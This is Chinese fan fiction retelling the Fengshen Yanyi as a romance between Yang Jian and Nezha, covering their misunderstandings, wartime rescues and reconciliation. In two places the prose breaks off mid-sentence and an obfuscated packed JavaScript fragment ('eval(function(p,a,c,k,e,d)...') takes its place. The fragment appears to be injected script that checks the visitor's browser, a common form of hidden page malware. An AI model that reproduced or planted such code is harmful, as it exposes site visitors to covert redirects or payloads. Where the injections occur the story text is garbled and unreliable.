“哟,师兄都不叫了,这就‘杨大哥’叫上啦?这是哪门子大哥,你大哥在前面呢!”天化朝他挤眉弄眼,开口揶揄,听到涉及杨戬,哪吒的脸红了一红,偷瞄一眼走在他身边的杨师兄,杨戬笑得云淡风轻,替他解了围:“师弟计较这个做什么,论年龄,我比哪吒大,一声大哥我也当得起,金吒师弟想来也不会因为这个生气。” 天化急忙道:“那论年龄,我也比三公子大,怎不见他叫我一声黄大哥。” “你哪里像哥哥,杨师兄给我买糖吃,而你昨天还和我抢碗里的最后一片青菜!” “哎,小哪吒,让着点你黄大哥怎么了?一片菜而已……”天化嘟囔着,瞥见路边商贩卖的头簪,随手抓起个最闪亮的,匆匆付了钱,往哪吒面前一递:“呐,吃了你的青菜,拿簪子给你赔礼。” 金吒木吒刚想说这簪子是姑娘戴的东西,我家弟弟可用不着,杨戬也皱起眉头,觉得天化纯粹在赌气胡闹,哪知道哪吒看见这镶金串玉的精致发簪,情不自禁地“哇”了一声,笑道:“好闪,这上面的是金子么?和我的乾坤圈一样?” “都是凡金,和仙家法器不能比,”天化道,“只不过请能工巧匠打磨了,才这般亮。” “真是好闪,”哪吒把这簪子拿在手中掂了掂,又冲天化笑,“你的凤冠霞帔可有这个耀眼?” “切,我黄家的东西可比这摊贩的好多了!”天化昂起头,“怎么样?这声哥哥我可担得起了吧?” 哪吒看着这簪子笑了笑,递了回去:“黄公子,你还是送给姑娘去吧,我又不戴这个。” “怎么还越叫越生分……”黄天化摆手,“叫你拿着你就拿着,你喜欢盘发髻也可以自己盘着玩,送姑娘的比送你的怎么也得好个百八十倍。” “你!”哪吒气得捏了把他的手臂,把人疼得呲牙咧嘴,金吒和木吒看着自家弟弟和天化打闹,只觉得好笑,再回头找杨戬,发现人已经不见了。 “杨师兄去哪儿了?”木吒四处张望,这西岐城甚是热闹,人来人往,一时还真看不见人。哪吒见杨戬不见,心下着急,揪着还要跑去看扇子摊的天化,让他不要再乱跑。 “怎么了?” “杨大哥……”哪吒立在原地,皱眉寻找,天化一拍脑袋:“准是去找之前那个白衣小美人了!你瞧,杨师兄和我们说不到一块儿去——” “天化莫胡言。” 四人东张西望,竟然也没瞧出杨戬到底从哪儿冒出来的,只看到他拿着一个小小的红绳,递给了哪吒。后者自然满心欢喜的接过去看了看,有些疑惑:“杨大哥,这是什么?” “红绳,上面缀了金粉,在灯光下会很漂亮,”杨戬拿过红绳,替他戴在左手手腕上,低声说,“我加了点东西,以后你有难,它会告诉我。” “真的?”哪吒的眼神骤然放光,倒不是因为这红绳有多闪耀,而是杨戬居然送他东西了,即便只是一条小小的红绳也足够他高兴几天。他道了句谢,美滋滋地摸着手腕,转头发现自家大哥若有所思地看着他和杨戬,天化也觉得奇怪:“师兄你在哪儿拿的这红绳?怎么只给他带……” 哪吒刚要冲他挥手炫耀,杨戬便又开口了:“那边一位老伯扛扁担卖的,我想着绳是红色,哪吒平时也穿红色,比较相配。” “哦……” “师弟若是喜欢,下次见到那老伯我也可以替你带。” 天化摆摆手:“还是算了,我不爱这个,也不像他平素戴惯了首饰的。” 三人相继挪开了目光,继续向前走,杨戬也跟着走了,哪吒垂头看看在自己手腕闪着微光的红绳,虽然杨大哥终于给自己送了点什么,但他终归不太舒服,既然是天化他们也能有的,便没什么特殊了。 “哪吒?”杨戬回头唤他,神色温柔。他连忙跟了上去,默默地走在杨戬身侧。 “喜欢吗?”杨戬又轻声问他。 他很想问问杨戬到底知不知道自己很喜欢他,但终归没有这个勇气,只能吞吞口水,点头:“喜欢,谢谢杨师兄。” 听到这句话的杨戬似乎有些惊讶,“嗯”了声算是回应,接着迅速收回投在他身上的目光。哪吒看见他的眉头又皱起来了。 不愧是最有本事的人,连逛街脑子里都装着好多事,哪吒闷闷地想,也不知道什么时候他的脑子里才能塞下一两个关于自己的事。 “哪吒!你看!”在前面的天化又开始喊他了,他正和杨戬并排走着,许是和他没什么共同话题,杨戬一直沉默不语,他也不敢说话,怕扰了杨戬的思绪,天化这么一叫,他立马跑上前去,却依旧感受到了身后灼热的目光。 杨戬死死盯着那个从他身边跑开的身影,他能感觉到哪吒并不是很喜欢自己给他的红绳——毕竟那只是个红绳而已,而且他甚至都不叫自己“杨大哥”了。 过了几日,哪吒趁着晚餐的时间把杨戬单独叫到相府院子僻静处,塞给杨戬一个东西,杨戬不明所以,正要打开,面前的人却一溜烟跑走了。 “哪吒?!” 他觉得好笑,低头看那布包,小心地打开,映入眼帘的是一个用淡青色绸缎做的荷包,小巧玲珑,再捏在手中仔细一瞧,这荷包正面还绣了几片碧绿的竹叶,针脚很粗糙,看得出做这荷包的人不太擅长针线活。 杨戬就捏着这个小小的荷包,站在相府后院,激动得手抖,看着哪吒离去的方向傻笑。 哪吒忐忑一夜,第二天在房内踌躇半晌方才鼓起勇气去相府正厅,进来后眼睛就止不住往杨戬那边瞟,可是左看右看,正在和姜师叔议事的杨师兄身上也没多出什么东西。他不敢相信,又确认了一遍,抬头却正对上杨戬的眼神,吓得他赶紧别开了,最后扫了一眼杨戬的腰间,确实没有东西。 无尽的失落吞噬了他,他难过地垂下头看着自己的脚尖,金吒拉着他去吃早点,他以身体不太舒服为由拿了两个包子,快步离开了。 “三弟怎么回事……” 终于和姜子牙议完事的杨戬也出来吃东西,厨房新做的老虎模样的糖馅包刚刚出笼,他夹了两个放在盘中,回头寻哪吒,想看看他有没有抢到平时最爱吃的糖馅包,却没有看见人。 “杨师兄,你怎么拿了两个?分我一个——” “不可!”他抵住了天化的筷子,快步走出了厨房,四处寻找。 “怎么还一人吃两个啊……哎,哪吒呢?他要不吃就没得吃了……” 杨戬摸到相府内院,远远看到院中亭下站了个人,那人垂着头,身体靠在亭柱上,似乎在思考着什么。他笑着走过去:“哪吒——” 那人被吓到了,回头见是他,行了个工工整整的礼:“杨戬师兄。” 杨戬愣了。 哪吒语速飞快,移开了眼神:“我今天不太舒服,不能和师兄说话了。” 说罢飞速跑开,速度和山间的野兔有得一拼,独留杨戬在亭内发呆,他看着那两个包子,发觉自己好像也没什么胃口。 哪吒下定决心,以后都不要和那位自己表白失败的师兄单独相处。他哪吒本就不是扭扭捏捏的人,奈何实在是喜欢,于是托人买了绸缎借了针线,还偷偷摸摸请教了相府的嬷嬷,十个手指头都被扎了一遍才做出这么个东西,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这句话的拒绝意味很明显,在座的人皆是一惊,要知道哪吒一直很喜欢和杨戬相处,巴不得能去他房间看看。 或许是也没想到自己会被这般斩钉截铁地拒绝,杨戬也呆了,点点头算是回应,人家不想来,他也不能把人硬拖过来,可惜了自己特地跑去买的糖人和糕点,还有泡好的玉泉山珍藏茶叶。 他想问问那个荷包和之后一连串的拒绝到底是怎么回事,不过现在似乎也没有必要了。握紧红绳,杨戬内心五味杂陈,面色不自觉地凝重起来。 天化扯扯哪吒袖口,小声说:“瞧你,把杨师兄惹不高兴了。” 哪吒不看杨戬,小声回应:“说不到一块儿去,我去了也是尴尬。” “那也不该这样拒绝啊,杨师兄也没得罪你吧?” “…….懒得同你说。” 讲小话也不躲着人,杨戬暗想,凭他这常入敌营打探消息的耳朵,听得是一清二楚。“说不到一块儿去”这句着实是刺痛了他的心,他杨戬本来也不是笨嘴拙舌之辈,只是近乡情怯,一看到他,自己就有些发慌,一句话要反复在心中排演数遍,方才开口。不像天化,三言两语就可讨他欢心。 如此便又过了数月。龙吉公主与洪锦这姻缘一来,府里又热闹了,恰如土行孙与邓婵玉那会儿。武吉道:“这姻缘看上去着实随便了点,一个瑶池仙子怎好配凡间将军?” 天化抚掌笑:“那是,依我看怎么也得配杨师兄这样的!师兄你说是不是?” 几十双眼睛齐齐望向杨戬,哪吒本来不想看,见别人都看了,因此并不想让自己有何不同,也看向杨戬。杨戬放下酒杯,连连摆手:“杨某不过一介山野村夫,平平无奇,如何能配蕊宫仙子?诸位莫要抬举。” 哪吒听得生气,心想你觉得你配不上这龙吉公主,我却配不上你,真是好笑,莫非在你心中已有等级之分,我却是最下面那个。思忖再三,他还是开口了:“杨师兄本事大,人也好看,哪有配不上蕊宫仙子的理?只怕是见洪锦得了先机,不肯说老实话罢了。” 杨戬目光如炬,钉在他身上:“杨某已心有所属,并未撒谎,任凭什么蕊宫仙子,在杨某心中皆不及他的一根头发丝。” “哎——”房中众人齐齐乐了,天化最先开口:“是谁啊?!杨师兄,今日定要你从实招来! 武吉也乐呵:“说得对啊,杨师兄喜欢谁,那人可有不依的?说了我们帮你把姑娘找来,顺着龙吉公主这婚事,好事成双!” 就连小雷也兴奋:“往常见杨师兄稳重踏实,没想到也是会心动的。” 哪吒没有起哄,随着小雷和天化笑,笑容也很勉强,其实他已经听不到什么声音了,只在心里想原来是心有所属的,难怪自己碰壁,真是羡慕那人好福气,能得杨戬青睐,伸手拿酒来喝,天化却正指着他,他一惊。 “不会是这小子吧?师兄前几天还送给他一根红绳。” 哪吒登时慌了,杨戬直接否认也好,委婉推辞也罢,这都是他不想听到的,于是拿了酒泼在天化身上,恼道:“你胡说些什么,杨师兄连蕊宫仙子都看不上,能看上我这等粗俗的人么?” “哦——也是,”天化笑道,“不过三公子你也别伤心,你还有我呢——哎哟!” 哪吒抬手就揪,众人都笑了,他也没胆子看杨戬的表情,揪了把天化便以身体不适为由匆匆离开,众人都以为是天化的玩笑惹了他,武吉道:“李小公子脾气大,不好惹呢。” “谁说不是,长得把什么仙子都能比下去,脾气却这样暴躁。” “那你是口出狂言先惹了他,哪吒平日待人以诚,赤子之心,实属难得。”杨戬努力抑制住颤抖的声音,让自己听起来平静些。 “那是他从不敢惹你,他也从不与你这般,”天化指指自己被掐红的手臂,“你瞧,苦的是我。” 杨戬垂眼给自己倒酒,他倒是愿意受这份苦,奈何没有机会。那人竟说自己粗俗,真是好笑,他可知在自己心中他胜过那蕊宫仙子百倍千倍? “天化!” 哪吒笑着从房外又跑了进来,兴奋地揽住黄天化的手臂:“快快!姜师叔说让我俩和婵玉嫂子去帮龙吉公主整理新娘服,你带我去看看——” “真的?”黄天化从座位上一溜烟爬起来,拍他后背,“那快走!还等什么!” 金吒在后面叫道:“弟弟,听嫂子的话!” “哎——”哪吒拖长音算是答应,众人都被这总是斗嘴又瞬间和好的两人逗笑了,只有杨戬沉默着。 方才哪吒笑着跑进屋的活泼模样差点把他晃晕,本就粉雕玉琢的少年略加打扮后更显清丽,笑着扑向天化——不是自己。其实他已经这样感叹过很多遍了:哪吒问天化荷包和凤冠霞帔是什么;哪吒追着天化去逛街市;哪吒和天化说悄悄话;哪吒和天化打闹,虽然是打架,但也有肢体接触……每一个都不是他。 哪吒和他“说不到一块儿”,觉得他无趣。 下山前,他一直觉得保持内心平静是很简单的事,要想有多余的情绪那基本不可能。下山后他才明白这众多滋味:忐忑、难过、疑惑,还有似有似无的雀跃,但此刻最浓厚、几乎要将他淹没的,是一层名为嫉妒的雾。 6.暗涌(下) 姜子牙拜将,伐纣大业正式开启。杨戬作为头运督粮官率先启程,出于私心,他还是去找了那人告别,对面看起来似乎比他更紧张更不自在—— “那个……师兄有话要说?” 他将手中的红绳递过去,道:“送出去的礼物没有收回的理,师弟,还请全了杨某的心意。” 哪吒犹豫半晌,最终还是接了过来,轻声道了句谢。 “此去珍重。” “杨师兄说笑了,平日里仗也没少打,有我等玉虚弟子在,想来也不会有太大的问题。”哪吒笑着看他。 可这句话错得彻底。 自天目隐隐发痛起,杨戬就意识到是哪吒出事了,可此时他才押粮押到半路,恨不得马上飞回去。将至终点时,天目越来越痛,他心下慌张,一边安慰自己内定先行官该不会出事,一边快马加鞭,风风火火往回赶。 可即便到了周营,他也救不出人。辗转难眠数日,一直到准提道人收了那孔宣后方才见月明,匆匆闯入营内,哪吒以一种奇异的姿态趴在孔宣床上,脸朝下,昏迷不醒。杨戬大惊失色,慌忙将人抱起,施法念诀,又掐他人中,哪吒骤然惊醒,大叫一声,见是他,眼中竟然落下泪来:“杨师兄……” 杨戬知他委屈无力,心疼万分,将他抱在怀中轻声安慰,哪吒哭道:“天化,天化……” 封神榜已开启,榜上有名之人定会殒命,谁也不知道自己是不是下面那个。哪吒在他怀里哭得昏天黑地,他也痛苦,不过为的不是死去的那位师弟,而是怀中这个。 命定先行真的不会死吗?杨戬看着哭得小脸皱起的人,轻抚他脸颊,柔声安慰他,心中却忍不住想某日自己督粮归来听闻哪吒已战死时的情景——他只会比现在的哪吒再痛苦百倍千倍。 管你说我什么也好,亲不亲近我也好,我总要想办法护着你。杨戬将他沾了血的发髻解下,拂过他受了伤的脚踝,等他哭累哭倦后在自己怀中睡去,将他稳稳地打横抱起,带回周营。 哪吒醒来时看到的是哥哥金吒,他猛地从床上爬起来,四处张望:“杨师兄呢?” “杨师兄把你救回来后就去帅帐了,你感觉怎么样?”金吒递给他一盘点心,“昨天回来后哭累了就一直睡着,现在饿不饿?吃点东西吧。” “……” “我知道天化离去你伤心,但此后东征还需先锋探路,你不要再把自己折磨坏了。” “嗯。”他拿起点心往嘴里塞,又与哥哥说了几句话,才小声问:“是杨师兄把我救回来的?” “别的我不知道,但你在他怀里哭得稀里哗啦,他也一直安慰你,等你哭完睡着了,他就把你抱回来了。” 怎么听都很丢人……哪吒脸颊发烫,直视脚下的地,觉得自己还是得去向杨戬道个谢。 于是那天晚饭过后,哪吒悄悄走到杨戬身后,趁着他还没有和姜师叔议事,轻轻拽了拽他的袖子:“杨师兄,哪吒谢过你的救命之恩。” 杨戬面色诧异,唇角扬起:“师弟说笑了,杨某无能,师弟现在好些了吗?” “好些了,好些了。”哪吒心不在焉,并非是他不诚心道谢,实在是抹不开面,毕竟面前这个是曾经拒绝他心意的人,而自己还喜欢着他。杨戬也看出了他的心不在焉,没有多计较,只说:“明日我又要启程,哪吒,此去珍重。” “嗯,师兄也是。” 杨戬还想说什么,他想嘱咐的太多太多,可是金吒把他弟弟揽去房间了,他无奈,回了帐内就掏出一直放在心口的那个淡青色荷包,看着看着便笑出了声,放在唇边吻了吻。 汜水关。 杨戬看见免战牌便知出了事,进帐听到武王在哭他弟弟雷震子,再奔到帅帐,姜子牙坐在床前叹气,而床上的人正是—— “哪吒?!”他奔过去,床上的人半边身体已发乌发黑,伤口流着黑水,神智不清,昏迷之时身体依旧轻微发颤,是即将绝命之相。 “杨戬,你——” 话未说完,他就俯身摸了摸哪吒的额头,姜子牙看到他的手在颤抖,神情凝重中带着几分隐忍,又转为愤恨。 “是谁伤了他?” 杨戬从床边站起,听闻七首将军余化的名讳后大步向前,出了营帐。 半刻之后,杨戬带着手心刀伤回到帐中,众人皆大惊失色,金吒坐在三弟床边看着杨戬,神色复杂。杨戬一拱手,架云去了。 取回解药后的杨戬依旧神色匆匆,闯入帅帐给雷震子解药后便四处张望,发现哪吒身体已消失,急得抓起人问,金吒忙说:“师兄,哪吒方才被金霞接去乾元山了。” 木吒紧接着说:“我去送解药,杨师兄。” “还是我去……”杨戬抓着解药,刚要迈步,身体也免不了受那化血神刀影响,跄踉了下,金吒急忙稳住他:“杨师兄,你也受伤了,还是让木吒去吧,他赶路快些。” “好,好……”杨戬把丹药给了他,又加上一颗,“我怕他要用两颗——” “师兄不可,你若为此有什么闪失,我三弟恐怕这辈子都不会原谅自己了。” 他还未反应过来,木吒就抓着一颗解药架土遁而去,金吒转而扶着他,催促他把药服下:“师兄,帐下不可再失一位督粮官。” “……” “小雷方才服药后立马好了,三弟想来也不会有事,还有太乙师伯照顾呢。” 杨戬一刀将余化斩了,看看自己手上留下的刀痕,又想起那人。木吒说他已恢复,可如今他却还没回来。 “杨师兄,你不用太过担心三弟,我那日亲眼见到太乙师伯把丹药给他服下,不出一时半刻三弟就有气了。”在餐桌上,木吒再次对他解释,他有些尴尬,自己的担心竟如此明显,连木吒都看不下去了? “哎木吒,这你就不懂了,换了是婵玉受伤许久未归,我只怕比杨师兄还担心。”土行孙接话,被一旁的邓婵玉戳了一戳:“你怎的拿我俩比人家师兄弟?快别胡说。” “哎,娘子说得是。”土行孙嘴上答应,眼睛却瞟向他,也难怪,当日晚上自己捉他时用的就是哪吒的脸,再加上土行孙比起其他人到底是娶了妻的,自然能看出来自己对哪吒的心思。 他咳嗽几声,点头称是:“师弟说得有理,是杨某太过紧张了。” 金吒看着他,笑道:“杨师兄格外偏爱哪吒些,不如入赘我们李家?” 他猛地抬头,金吒看着他的眼神有些意味深长,还带点试探,好像想看他的反应,这句话把饭桌上的几位都逗笑了,只当金吒了个大玩笑,他却知道这并非玩笑,而是自己心中所想。 “师弟……说笑了。” “也是,杨师兄一表人材,我们家三弟是高攀不起的。”金吒还是笑着,语气很轻松。 “咳咳咳,你们真把先行当女孩了?”武吉笑道,“还好他不在。” 杨戬不知道金吒说这话是什么意思,于是一直沉默。他当然不同意这句话,但反驳可能会带来更多的误会,他尚不明确哪吒的心意,不可贸然行动。 “话说回来,杨师兄你到底喜欢谁啊?我们可否认识?也可帮着撮合撮合啊!” “感情之事如何强求?诸位莫要替杨某担心。” “我猜他肯定长得跟仙女似的,不对!胜过仙女!”土行孙笑道,又被婵玉揪了大腿。 “依我看,这天上地下最漂亮的就是咱们的先行了,只可惜是个男孩子,不然——” “不然就是黄家长孙媳妇。” 众人笑了几声,又叹了几句天化,方才收拾餐桌,杨戬早早地放下了碗筷,那句“黄家长孙媳妇”让他着实郁闷,大家都看得出来哪吒和谁比较亲近,或许方才金吒那句话,他不该那样回应。 他再次去督粮时正碰上哪吒走入营中,四下没有旁人,他一眼瞄到那个身着暗红色衣衫的身影,惊喜地唤道:“哪吒!” 那人也朝他跑来,脆生生叫了句:“杨师兄!” “还未谢过师兄试毒求药之——” “快起来,你我之间不必如此。”杨戬将见到他就要跪地道谢的人拉起,千万次扫过他的脸,见他一如往昔,没有丝毫病弱模样,心中高兴,伸手抚他的面颊,哪吒愣愣地看着他,两人视线交汇,思绪却千差万别。 他猛地把手拿开,言语里有几分慌张:“师兄失礼了。” 哪吒看他半晌,摇了摇头:“你我之间不必如此。” “师兄的手心是试刀的伤痕么?”哪吒拿了他左手,微凉的手指间划过他手心的刀疤,“我可从师父那儿拿些祛疤的药膏。” “不用了,我想……想留着。” 他确实想把这刀伤留着,不为别的,只为以后看到这道疤后能够想起这趟。哪吒惊讶地看着他,也没说什么。金吒木吒从营帐里出来,隐约看到哪吒的身影,高兴地奔过来,一眼就看到了哪吒握住杨戬手,轻抚他手心的场景,杨戬垂头看着哪吒的眼神爱意满满,全是宠溺,木吒唤了句“弟弟”,那两人如梦初醒,同时把手拿开了,神色都不太自然。 “哥!”哪吒被木吒搂进怀中,又被大家簇拥着,武吉嚷嚷着他怎么才回来,哪吒傻傻地笑,拿眼睛瞟杨戬,杨戬也看着他,两人的眼神让金吒尽收眼底。 “哪吒,你……你和杨师兄到底是怎么回事?” “什么?”哪吒抱着碗喝汤,差点被呛到。 金吒压低声音:“我都看到了,弟弟,这种事你怎么不告诉大哥?” “又没什么,”哪吒红着脸,“他又不喜欢我,我自讨没趣而已。” 金吒哭笑不得:“你没回来前他对你牵心挂肚,他哪里不喜欢你?他要是不喜欢你,能为你试毒?” “师兄弟情谊罢了,旁人也没他那样的本事,我……我给他送了荷包,他……”哪吒小声嘀咕,“想来他是看不上。” “送了荷包?!”金吒眼珠子快掉下来了,捂住嘴缓了会儿,又重复一遍,“你送了荷包给杨师兄?” “嗯。” “他拒绝了?!不应该啊……” “他不是说过他心有所属吗,我再多想就是自作多情了,”哪吒放下碗,擦擦嘴,“不知道是什么样的人,能讨他喜欢。” 我还是觉得他喜欢你,金吒暗想,但没有说出来,沉默半晌后摸了摸弟弟的头:“没人能比你更讨人喜欢。” “大哥哄我呢。” “前日我还开玩笑说要不然让杨师兄入赘我们李家……” “大哥,你怎么开这种玩笑?!” “好了好了,师兄也没有生气,不过他还是不愿说他喜欢谁,”金吒忙哄弟弟,“你也别妄自菲薄,即便杨师兄心里有人,他也是很关心你的。” “我宁愿他对我不闻不问,好过这些出于情面的关心……” 余德的毒痘来势汹汹,转眼间军营里便只剩了哪吒杨戬二人无事,其余一干大将,包括姜子牙也发热身疼,哪吒看看小雷和哥哥们,又看看元帅,急得手忙脚乱,想找杨戬,却找不到人,又担心又生气,正想着该怎么办,就看到一个熟悉的身影走进了营中。 “杨师兄?!你……”他匆匆奔去,却不知如何开口,想问他昨晚去哪儿了,但又担心自己是多管闲事,好在杨戬并不计较,抚他肩膀:“看那余德是左道之士,我有些预感,出去躲了一夜,不想如今回来正碰上这毒痘。” “你既已知,为何不与我说?”哪吒说完这话也觉得不对,但已没法收回了。 杨戬还是很耐心:“既是猜测,无凭无据,我怎好劝你信我,其实我也不敢下定论,没想到来得如此快。” “好吧,事已如此……”哪吒忙道,“看这情况,又只剩你我了,对面敌军若来,怎么抵挡得住?” “先看看吧,或许能找到解救之法。”杨戬嘴里安慰他,心中也没有底气,帮着哪吒熬药打水,察看众人情况。 “这玉虚秘药说是药材……我看也只能缓解一时……”哪吒蹲在火边,因火光猛烈脱了外衫,面庞和手臂都沾染一层薄汗,白玉般的胳膊端起药壶,葱根般的手指捏住药包,凑到他面前:“师兄,你可能看出这里面是些什么药?可能在附近采到?” 杨戬握住他手,闻了下,转向他:“这药要采可麻烦,这附近定是没有的。” “那怎么办……” “师叔他们目前如何?” “喝了药都昏沉睡下,将士们也是如此,可如此并不能根治,”哪吒无精打采地耷拉着头,“这可怎么办?” “你许久未休息了,我先送你回营吧,”杨戬拉住他手,逼他放下了壶,“担心也不能耗着,须知兵来将挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你跑得快,总比我们都在这儿等死好,”哪吒笑道,“我有三头八臂,能抵挡片刻。” “那怎么不是你去?” “我也不想把你单独丢在这儿送死,”哪吒冲他笑,“我知道你本事大,但我就是担心。” “你担心我?”杨戬单手握住他脚腕,目光停留在他琥珀色的眼珠上,将身子凑过去,鼻尖捕捉到一丝若有若无的莲香,手不自觉收紧了。 “当然,不然也不会为你做那些针线活,扎得我手疼。” “哪里伤着了?”杨戬急忙去拉他手。 “早好了,针扎伤就那么点。” “你原也不必做这些…….”他垂头,心疼地看着哪吒光润白皙的指尖。 “不做了,”哪吒笑吟吟地看着他,“已经送给了想送的人,当然不必做了。” 杨戬猛地抬头,正对上他带着笑意的眼神,一时间还有些反应不过来,声音发颤:“师弟,这事可不能开玩笑……” 哪吒纤眉一挑:“谁同你玩笑?!你爱信不信,我——” 杨戬揽住他腰,一把将他抱起,扣住他后脑勺,猝不及防地覆住了他的唇,他起身去迎,抱住杨戬的腰和后颈,张嘴配合这个带着些许疯狂的吻。 两人在床上紧紧相拥,互诉衷肠,杨戬抱着他的力气比从前大了几倍,似乎憋了很久。 “哪吒,你千万别哄我,我……” “为什么你会觉得我在哄你?” “因为你之前突然疏远我,我不知道自己做错了什么。” 这事说出来丢人。哪吒默默垂眼,看着他:“可我很早就喜欢上杨师兄了,你不知道?” “我初见你就喜欢上了,你可有我早?”杨戬在他耳边低语,惹得他浑身发颤。 “这又不是比赛……” 杨戬轻笑,搂了他腰,又亲他脖颈,似乎怎么也亲不够,充满爱意的炙热眼神能将他焚烧殆尽。 “你该自己看看你看我的眼神,杨戬。” “我从前也是这般看你,你竟然看不出来,还以为我心属他人?”杨戬笑道,“我瞧着你也是个傻的。” 哪吒不回应他的话茬,闭眼道:“休息吧,明天还要照顾师叔他们。” “嗯。” 迷糊中,哪吒隐约听到了一句杨戬在他耳边的低语,还有一个落在自己脸颊的吻。 “哪吒,这世上没有什么比得上你。” 玉鼎注意到杨戬动身前往火云洞之前回头看了一下,视线正落在正扶着姜子牙的那人身上,哪吒也往他的方向看了一眼,两人视线相缠,情意已然显露,再遮掩不得,心下大惊,催促徒弟动身,杨戬不再耽搁,架土遁而去。 接下来的时间,玉鼎就看着自家师兄的宝贝小莲花在军营里忙来忙去,时不时问他该如何如何做,他也一一回答,心中却五味杂陈。 不知太乙师兄喜欢什么样的聘礼,金银珠宝都是小巧,做仙家聘礼未免俗气;法器法宝可谓乾元山特产,没有往农民家送苞谷的理;师父师祖真言也是全教共有,想来想去倒还是传送功法合理些…… “打扰师叔清思,师叔,还有别的事吗?”哪吒拱手站在他面前,两只水灵灵的大眼睛眨巴眨巴,颇为乖巧。 玉鼎收回思绪,看着面前粉雕玉琢的小莲花,不知怎么就伸手摸了摸哪吒头顶,柔软的头发被压下去一点,又慢慢蓬起,手感甚好,哪吒瞪大眼睛,似乎受了什么惊吓。 “无事了,等戬儿回来方可解厄,你先去休息。” “……是。” “哪吒,我回来了,你快来帮——你的脸色怎么了?” 哪吒怔怔转过头:“师兄,玉鼎师叔刚才……摸了我的头哎。” 杨戬知道自家师父一向眼毒,思维也快,看出他俩人猫腻后现下估计已经在想该送何等聘礼了。 “噗,没事,我看看。”他伸手揉揉朝他走过来的哪吒的头顶,被他这副受到惊吓的乖巧模样乐得合不拢嘴,把药草一放,俯身吻了下去。 “师兄,这药……” “再亲一下就行。” “咳!咳咳!!”走到营帐外的玉鼎放开了嗓子咳嗽,被接着出来的黄龙真人小声说了句“何时咳得这般做作了”,又挑着拂尘怒瞪了师弟一眼。 7.只是当时(上) 本文是双视角,以为是单恋,其实是不自知的两情相悦。 【哪吒】 其实我一直都清楚地知道,我爱杨戬。 身为我的同门师兄,他曾为我以身试毒,多次救我们于水火之中,神通广大,道法精深,为人义气,而且还有一副好相貌,这样的人我没法不喜欢。我知道他或许也有些偏爱我,因为自封神结束后,他几乎只和我有些许往来,别人要见他求他,他都要思量半天,唯独对我几乎是随叫随到,隔三差五就邀我去喝酒下棋。 我知道他在灌江口潇洒自在,可我这个中坛元帅却是停不下来的,有大把的事等着我去做,最近妖魔横行,我变得尤其忙碌,因此不常赴约。而现在,我已经后悔了,或许我真该多多去陪他。 今天是杨戬的婚礼,应玉帝要求,他娶了西海的龙女做妻子。虽然不知道他俩是如何相爱的,但这是喜事,天大的喜事,身为杨戬的好兄弟,我不能给他丢脸,应该着盛装出席,还要给他备上一份分量颇重的新婚礼物。 我从来不敢告诉他我爱他,爱得发狂,我总以为时间还长,他和我如此亲密,总会有守得云开见月明的那天。 谁来救救我,我好想就此逃出天宫,逃到所有人都找不到的地方,再也不回来了。 杨戬师兄,你怎么能娶别人? 【杨戬】 自拜入玉虚门下的那一刻起我就告诉自己,这世上没有什么比修炼更重要。但是现在我遇到了麻烦:外公想让我娶个女人。 一开始我是拒绝的,但外公告诉我这是人家的心愿,娶回去供着就行,也不需要做什么,我便答应了——成亲嘛。我告诉这位东海还是西海的龙女,我对她并无好感,到了我府里她也不会是主母身份,只会好吃好喝招待她,我以为这样的态度会触怒她,谁知她竟然欣然接受了。 如果我有女儿,我一定会让她在此时拒绝像我这样的人,可这龙王也是好笑,以为他的女儿真的攀上了我。 婚礼上,我的师弟哪吒穿得甚是好看,他似乎有些兴奋,也是,他向来喜欢热闹,喜欢好看的衣裳和首饰。我目不转睛地盯着他,他瘦了些,没吃多少菜,一直在喝酒,喝得脸蛋红扑扑的,小手乱晃。 我走过去拉着他,他拱手向我道贺,我揪了下他的脸,把他拉到一旁,如实向他解释,他好像没听进去,眼神空洞地盯着地板,我想他是喝醉了。 “哪吒?” “嗯……师兄。” 还好,还知道我是他师兄。我笑着将他拦腰抱起,抱进我府中的偏殿客房,替他盖好被褥,嘱咐他好好休息。回来时,龙女的脸色非常差,我淡淡地笑着,这番光景不是早就能料到么?难道她真以为能靠一厢情愿的爱感化我? 洞房花烛夜,我用天眼设了个结界,脱了喜服,套上原来的玄衣,和衣睡下了,其余的一概不知。 【哪吒】 我没喝醉,我很清醒。 我快死了,我的心好痛,痛得揪成了一团,我缩在床上直不起腰,想到百米外新房内的光景,我肝肠寸断,恨自己不能就在此时了结生命。 什么爱,什么付出,在此刻都像流水一样奔涌而去,得知他要成亲的那一刻,我心中山川震动,江海凝结,连风都停止了呼啸,树叶不再跳动,鸟儿失去活力,一切都枯萎了。 我不敢出声,坐在床上无声地流泪,哭到眼睛红肿。私心里,我多希望杨戬会在此时出现在我面前,告诉我他不喜欢龙女,他爱的是我。 可我有什么值得他爱的,但凡我有资本讨他喜欢,现在也不至于沦落到这步田地。中坛元帅爱而不得,在距离心上人洞房不到百米外的房间里发疯,这事传出去别人都不敢信。 也罢,或许这就是最后一次了。我把这几千年来几乎是所有能表白心意的东西都送了过去,如果他翻开那几十缎布匹和几盒首饰,他就会发现我为他做的荷包、绣的手帕——针脚粗糙,惨不忍睹就是了,他是很讲究的人,必定会很嫌弃,我也因此总没勇气送。 失去所爱真的太疼了,比当年割肉剔骨还疼,我只能一杯杯地灌酒,试图麻痹自己。 【杨戬】 成亲不成亲的根本没区别,我还是照常去找哪吒下棋,上次他在我的婚礼上喝得太多了,第二天我进房去找他,发现他竟然昏死了过去,吓得我赶紧运玄功给他调理,还好,他只是酒喝多了,加上有些疲惫,或许是最近太忙了。 哪吒累着了,没什么精神,饭不好好吃,衣裳也不好好穿,我急得呵斥了他的贴身侍从如云几句,打算在云楼宫照顾他几天,他却和我说起了什么成亲后要多陪陪人之类的官腔。我不高兴了,告诉他前因后果,并跟他说不论成不成亲,那龙女永远也不可能有我的兄弟重要。听了这话,他看我的眼神有些复杂,可能是觉得我没责任心? 